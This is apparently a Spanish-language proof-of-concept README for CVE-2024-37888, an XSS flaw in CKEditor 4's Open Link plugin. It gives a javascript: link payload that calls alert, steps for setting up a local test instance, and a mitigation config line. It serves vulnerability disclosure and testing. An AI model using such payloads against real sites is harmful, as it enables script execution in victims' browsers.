
PoC/Exploit XSS para el plugin Open Link de CKEditor 4
Este repositorio documenta los detalles de la vulnerabilidad y el exploit para CVE-2024-37888, descubierta y reportada por mí mismo.
Esta Prueba de Concepto (POC) demuestra la explotación de una vulnerabilidad XSS descubierta por mí recientemente en el plugin Open Link que, cuando está habilitado, afecta directamente a todas las versiones de CKEditor 4. La falla permite la ejecución de JavaScript a través de enlaces manipulados dentro del editor, que el plugin no logra sanear. Esta falla puede ser explotada dentro del área de texto solo cuando el plugin Open Link está instalado. El plugin Open Link nos permite abrir enlaces directamente dentro del área de edición.
Esta vulnerabilidad se puede probar desde la instancia preconfigurada de CKEditor disponible .
Insertar Payload:
Abra la instancia de CKEditor y haga clic en el icono "Source".
Inserte el siguiente payload en el área de texto:
<a href="javascript:alert('XSS Found')">XSS</a>

Cambiar al modo WYSIWYG:

Desencadenar XSS:

Puede configurar su propia instancia local para probar esta vulnerabilidad siguiendo los siguientes pasos.
Descargar CKEditor 4:

Instalar el plugin Open Link:
ckeditor/plugins/openlink.
Actualizar la configuración para incluir el plugin OpenLink:
config.js de CKEditor agregando las siguientes líneas al final:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Incluir CKEditor en HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Esta vulnerabilidad ha sido descubierta en la base de código del plugin Open Link y no en la base de código de CKEditor 4. La POC anterior demuestra la explotación de una vulnerabilidad XSS a través del plugin Open Link en CKEditor 4.*.*. La falla permite la ejecución arbitraria de JavaScript a través de enlaces especialmente manipulados, lo que representa un riesgo de seguridad significativo.
config.disallowedContent = 'a[onclick]';